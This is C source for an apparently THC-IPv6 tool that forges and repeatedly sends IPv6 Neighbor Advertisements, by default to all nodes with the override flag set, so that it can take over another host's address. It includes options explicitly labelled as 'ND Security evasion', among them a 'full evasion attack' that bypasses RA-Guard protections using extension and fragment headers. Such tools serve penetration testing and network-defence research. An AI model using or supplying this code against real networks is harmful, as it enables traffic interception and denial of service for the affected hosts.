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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf(
"Syntax: %s [-DHF] [-Ors] [-n count] [-w seconds] interface "
"ip-address-advertised [target-address [mac-address-advertised "
"[source-ip-address]]]\n\n",
prg);
printf(
"Advertise IPv6 address on the network (with own mac if not "
"specified),\n");
printf(
"sending it to the all-nodes multicast address if no target address is "
"set.\n");
printf("Source ip address is the address advertised if not set.\n\n");
printf("Sending options:\n");
printf(" -n count send how many packets (default: forever)\n");
printf(" -w seconds wait time between the packets sent (default: 5)\n");
printf(
" -m srcmac the srcmac address to send from (not what is "
"advertised!\n");
printf("Flag options:\n");
printf(" -O do NOT set the override flag (default: on)\n");
printf(" -r DO set the router flag (default: off)\n");
printf(" -s DO set the solicitate flag (default: off)\n");
printf("ND Security evasion options (can be combined):\n");
printf(" -F full evasion attack (no other evasion options allowed)\n");
printf(" -H add a hop-by-hop header\n");
printf(
" -f add a one shot fragment header (can be specified multiple "
"times)\n");
printf(" -D add a large destination header which fragments the packet.\n");
exit(-1);
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, *pkt2 = NULL, buf[24], buf2[6], buf3[1500];
unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[8] = "",
replymac[8] = "", *mac = replymac, *smac = NULL;
int pkt1_len = 0, pkt2_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0,
do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, wait = 5, loop = -1,
do_full = 0;
unsigned int flags = ICMP6_NEIGHBORADV_OVERRIDE;
char * interface;
int offset = 14;
thc_ipv6_hdr *hdr;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL)
printf("WARNING: %s is not working with injection!\n", argv[0]);
while ((i = getopt(argc, argv, "DfFHOrsn:w:m:")) >= 0) {
switch (i) {
case 'n':
loop = atoi(optarg);
break;
case 'w':
wait = atoi(optarg);
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0],
(unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2],
(unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4],
(unsigned int *)&srcmac[5]);
smac = srcmac;
break;
case 'O':
if ((flags & ICMP6_NEIGHBORADV_OVERRIDE) > 0)
flags -= ICMP6_NEIGHBORADV_OVERRIDE;
break;
case 'r':
flags = (flags | ICMP6_NEIGHBORADV_ROUTER);
break;
case 's':
flags = (flags | ICMP6_NEIGHBORADV_SOLICIT);
break;
case 'f':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'F':
do_full = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (do_full) do_hop = do_dst = do_frag = 0;
if (argc - optind < 2) help(argv[0]);
if (do_hdr_size) offset = do_hdr_size;
interface = argv[optind];
if (thc_get_own_mac(interface) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n",
argv[optind + 1]);
exit(-1);
}
if (argc - optind >= 3 && argv[optind + 2] != NULL)
dst6 = thc_resolve6(argv[optind + 2]);
else
dst6 = thc_resolve6("ff02::1");
if (dst6 == NULL) {
fprintf(stderr, "Error: could not resolve destination of advertise: %s\n",
argv[optind + 2]);
exit(-1);
}
if (argc - optind >= 4 && argv[optind + 3] != NULL)
sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *)&replymac[0],
(unsigned int *)&replymac[1], (unsigned int *)&replymac[2],
(unsigned int *)&replymac[3], (unsigned int *)&replymac[4],
(unsigned int *)&replymac[5]);
else
mac = thc_get_own_mac(interface);
if (smac == NULL) smac = mac;
if (argc - optind >= 5 && argv[optind + 4] != NULL)
src6 = thc_resolve6(argv[optind + 4]);
else
src6 = unicast6;
memset(buf, 0, sizeof(buf));
memcpy(buf, unicast6, 16);
buf[16] = 2;
buf[17] = 1;
memcpy(&buf[18], mac, 6);
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6,
0, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6) type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1;
}
if (do_dst) {
if (type == NXT_ICMP6) type = NXT_DST;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1;
}
if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORADV, 0, flags,
(unsigned char *)&buf, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, smac, NULL, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
/*
if ((pkt2 = thc_create_ipv6_extended(interface, prefer, &pkt2_len, src6,
dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) if
(thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf2, sizeof(buf2)) < 0) return -1;
if (do_frag)
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt2, &pkt2_len, cnt++) < 0)
return -1;
if (do_dst)
if (thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf3, sizeof(buf3)) < 0)
return -1;
if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_NEIGHBORADV, 0, 0, (unsigned char
*) &buf, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, NULL,
pkt2, &pkt2_len) < 0) { fprintf(stderr, "Error: Can not generate packet,
exiting ...\n"); exit(-1);
}
*/
printf("Starting advertisement of %s (Press Control-C to end)\n",
argv[optind + 1]);
while (loop) {
if (do_full) {
hdr = (thc_ipv6_hdr *)pkt1;
thc_send_raguard_bypass6(interface, src6, dst6, smac, NULL, NXT_ICMP6,
hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 0);
} else if (do_dst) {
hdr = (thc_ipv6_hdr *)pkt1;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 1240);
hdr = (thc_ipv6_hdr *)pkt2;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 1240);
} else {
thc_send_pkt(interface, pkt1, &pkt1_len);
// thc_send_pkt(interface, pkt2, &pkt2_len);
}
if (loop != -1) loop--;
if (loop) sleep(wait);
}
return 0;
}
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